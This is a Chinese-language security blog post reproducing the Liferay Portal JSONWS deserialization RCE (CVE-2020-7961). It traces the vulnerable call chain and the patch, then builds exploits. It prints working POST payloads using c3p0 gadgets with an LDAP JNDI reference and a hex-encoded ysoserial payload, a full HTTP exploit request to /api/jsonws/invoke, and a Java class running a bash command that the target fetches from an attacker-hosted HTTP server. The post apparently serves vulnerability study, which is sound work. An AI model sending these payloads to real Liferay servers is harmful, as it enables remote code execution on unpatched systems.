通过LiferayPortal JSONWS反序列化漏洞(CVE-2020-7961)分析及Poc构造深入学习JODD反序列化 – 作者:木子

一、背景

这是一篇 4 月份复现 LiferayPortal rce(CVE-2020-7961)漏洞时的笔记,当时忙着做渗透没空整理,现在发出来就当是学习 JODD 反序列化的记录吧,里面 2 个 Gadget com.mchange.v2.c3p0.JndiRefForwardingDataSource 和 com.mchange.v2.c3p0.WrapperConnectionPoolDataSource 的 Poc 构造过程,后面还有一些回显的研究。本文较长请耐心阅读!

二、漏洞信息

漏洞名称 Liferay Portal CE 反序列化命令执行漏洞
CVE 编号 CVE-2020-7961
影响范围 6.1、6.2、7.0、7.1、7.2
威胁等级 严重
公开时间 2020 年 3 月 20 日

三、漏洞分析

Liferay Portal 提供了 Json Web Service 服务,对于某些可以调用的端点,如果某个方法提供的是 Object 参数类型,那么就能够构造符合 Java Beans 的可利用恶意类,传递构造好的 json 反序列化串,y 反序列化时会自动调用恶意类的 setter 方法以及默认构造方法。

3.1JODD 序列化与反序列化

根据 JODD 官网手册 (https://jodd.org/json/) 可知 jodd 采用 JsonSerializer 和 JsonParser 对进行序列化和反序列化操作

从官网https://jodd.org/json/json-serializer.html 可知 JODD 序列化有 2 种方式 JsonParser.map(“values.keys”, Long.class).parse(json); 和 jsonParser.setClassMetadataName(“class”).parse(json);官方提示 setClassMetadataName 方式有安全风险

*注 2018 年曝光的 liferay CST-7111 RCE via JSON deserialization 就是利用第 2 种方式加载的恶意类

3.2Liferay 中的 JODD 序列化与反序列化

Liferay 中对 JODD JsonSerializer 的包装是 com.liferay.portal.json.JSONSerializerImpl 类:Liferay 中对 JODD JsonParser 的包装是 com.liferay.portal.json.JSONDeserializerImpl 类经过处理之后还是调用了 jodd.json.JsonSerializer 和 jodd.json.JsonParser 进行序列化和反序列化

3.3 Liferay 补丁分析

Liferay 的新补丁在 com.liferay.portal.jsonwebservice.JSONWebServiceActionImpl#_checkTypeIsAssignable 中增加了类型校验_checkTypeIsAssignable在_checkTypeIsAssignable 中增加了对 parameterType.getName() 参数的类名、类型判断、并增加白名单校验,白名单_JSONWS_WEB_SERVICE_PARAMETER_TYPE_WHITELIST_CLASS_NAMES

3.4 动态调试

/api/jsonws/提供了大量可以调用 webservice 的方法,这些方法有几种调用形式:1) 通过 /api/jsonws/invoke 将要调用的方法和参数通过 POST 传递调用
2) 通过 url 的形式调用/api/jsonws/service-class-name/service-method-name,将要调用的方法和参数通过 POST 表单或 GET 参数形式传递

api/jsonws 在 web.xml 中的映射配置其对应的类为 com.liferay.portal.jsonwebservice.JSONWebServiceServlet

打开http://192.168.80.140:8080/api/jsonws选中任意一个 api 如/announcementsdelivery/update-delivery,提交数据调试查看调用链,当选择 invoke 方法提交时的调用链:

->com.liferay.portal.jsonwebservice.JSONWebServiceServiceAction#getJSON 
->com.liferay.portal.jsonwebservice.JSONWebServiceServiceAction#getJSONWebServiceAction  //处理 json api
->com.liferay.portal.json.JSONFactoryImpl#looseDeserialize
->com.liferay.portal.json.JSONFactoryImpl#JSONFactoryImpl
 ->com.liferay.portal.jsonwebservice.JSONWebServiceActionImpl##_convertValueToParameterValue
->com.liferay.portal.jsonwebservice.JSONWebServiceActionImpl#invoke._jsonWebServiceActionParameters
  ->com.liferay.portal.json.JSONDeserializerImpl#JSONDeserializerImpl
  ->com.liferay.portal.json.JSONDeserializerImpl#deserialize(String)
  ->jodd.json.JsonParser#parse(String, Class<T>)
->com.liferay.portal.jsonwebservice.action.JSONWebServiceInvokerAction#
->JSONWebServiceInvokerAction
->com.liferay.portal.jsonwebservice.action.JSONWebServiceInvokerAction#invoke
->com.liferay.portal.struts.JSONAction#execute

大致流程为:查找 api 对应的方法->将 POST 请求中参数转化为该 api 方法的参数->类型一致->恢复参数对象->利用 Invoke 反射调用该方法

通过调用链分析发现在 com.liferay.portal.jsonwebservice.JSONWebServiceActionImpl#_prepareParameters 中配置了_jsonWebServiceActionParameters 属性,该属性又调用了 JSONWebServiceActionParametersMap在 com.liferay.portal.jsonwebservice.JSONWebServiceActionParametersMap#put 方法中,当参数以+开头时,用:分割参数名和类型,此处可控通过参数传递而 PUT 方法的操作是在 com.liferay.portal.jsonwebservice.action.JSONWebServiceInvoker 反射 JNDI 注入啦 Action#_executeStatement 中实现到此就可以构造 Invoker 反射 JNDI 注入啦

3.4 Poc 构造

找到了注入点,因为要调用 Object 对象故要选择默认类型为 java.lang.Object 且参数名要+开头的 service,有这样 2 个 api 符合要求/expandocolumn/add-column 和/expandocolumn/update-column

POST 请求参数为:

cmd=%7B%22%2Fexpandocolumn%2Fadd-column%22%3A%7B%7D%7D&p_auth=oAE9QJey&formDate=1589421427275&tableId=1&name=1&type=1&%2BdefaultData:

现在来找在 setter 方法中或默认构造方法中存在恶意操作的类,通过分析发现可以利用 c3p0 中的 2 个 Gadgetcom.mchange.v2.c3p0.JndiRefForwardingDataSource 和 com.mchange.v2.c3p0.WrapperConnectionPoolDataSource

3.1.JndiRefForwardingDataSource 中有 2 个参数 jndiName 和 loginTimeout 可以直接构造 ldap/rmi 来 Reference 恶意 Object 达到 RCE

`POC1

 cmd=%7B%22%2Fexpandocolumn%2Fadd-column%22%3A%7B%7D%7D&p_auth=oAE9QJey&formDate=1589421427275&tableId=1&name=1&type=1&%2BdefaultData:com.mchange.v2.c3p0.JndiRefForwardingDataSource={"jndiName":"ldap://127.0.0.1:1389/Object","loginTimeout":0}

3.2.WrapperConnectionPoolDataSource 是数据连接池,其中需要一个参数 userOverridesAsString,参数值用经过 makeC3P0UserOverridesString 处理 HexAsciiSerializedMap 经过 hex 编码的属性值,其中有这样几个字段远程服务器地址,文件名,最后通过 com.mchange.v2.naming.ReferenceIndirector$ReferenceSerialized 加载恶意类

POC2

cmd=%7B%22%2Fexpandocolumn%2Fadd-column%22%3A%7B%7D%7D&p_auth=o3lt8q1F&formDate=1585270368703&tableId=1&name=2&type=3&%2BdefaultData:com.mchange.v2.c3p0.WrapperConnectionPoolDataSource={"userOverridesAsString":"HexAsciiSerializedMap:Hex-Shellcode"}

Hex-Shellcode 可以通过 yso 或 marshalsec 生成后面进行 Hex 编码

四、漏洞复现

4.1. 环境搭建

可以下载带 tomcat 版本 liferay-ce-portal 运行,也可以用 vulhub 的 Docker 环境:下载地址:https://cdn.lfrs.sl/releases.liferay.com/portal/7.2.0-ga1/liferay-ce-portal-tomcat-7.2.0-ga1-20190531153709761.7z

*注,本次复现以 Liferay Portal 7.2.0 GA1 为例

4.2. 新建一个 Runtime 命令执行恶意文件 touch.java 并编译成 touch.class

public class touch {
    static {
        try {
                String[] cmd = {"bash", "-c", "touch /tmp/success"};
                java.lang.Runtime.getRuntime().exec(cmd).waitFor();
            } catch ( Exception e ) {
                e.printStackTrace();
            }
        }
    }

4.3. 在 touch.class 目录启动一个 HTTPServer 监听 8000 端口

4.4. 利用 yso 中的 Gadget C3P0(com.mchange.v2.c3p0.WrapperConnectionPoolDataSource) 生成 payload.ser

将 payload.ser hex 编码

4.5. 发送带有 payload.ser hex 编码的 Poc

Poc:

POST /api/jsonws/invoke HTTP/1.1
Host: host:port
Content-Length: 1370
cmd: id
Content-Type: application/x-www-form-urlencoded
Connection: close
cmd=%7B%22%2Fexpandocolumn%2Fadd-column%22%3A%7B%7D%7D&p_auth=o3lt8q1F&formDate=1585270368703&tableId=1&name=2&type=3&%2BdefaultData:com.mchange.v2.c3p0.WrapperConnectionPoolDataSource={"userOverridesAsString":"HexAsciiSerializedMap:Hex-Shellcode"}

Hex-Shellcode 字段替换为 yso 生成的 paylaod 的 hex 编码 成功 touch 文件 /tmp/success

4.6. 回显利用

可以 liferay 自带的 2 个 Gadget 进行回显 com.liferay.portal.kernel.security.access.control.AccessControlUtil;

com.liferay.portal.kernel.security.auth.AccessControlContext;

五、修复建议

官方已经发布新补丁

https://liferay.dev/blogs/-/blogs/security-patches-for-liferay-portal-6-2-7-0-and-7-1

六、附录

参考

https://codewhitesec.blogspot.com/2020/03/liferay-portal-json-vulns.html

https://paper.seebug.org/1162

*本文作者:Ja0k,转载请注明来自FreeBuf.COM

来源:freebuf.com 2020-05-15 08:55:36 by: 木子

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论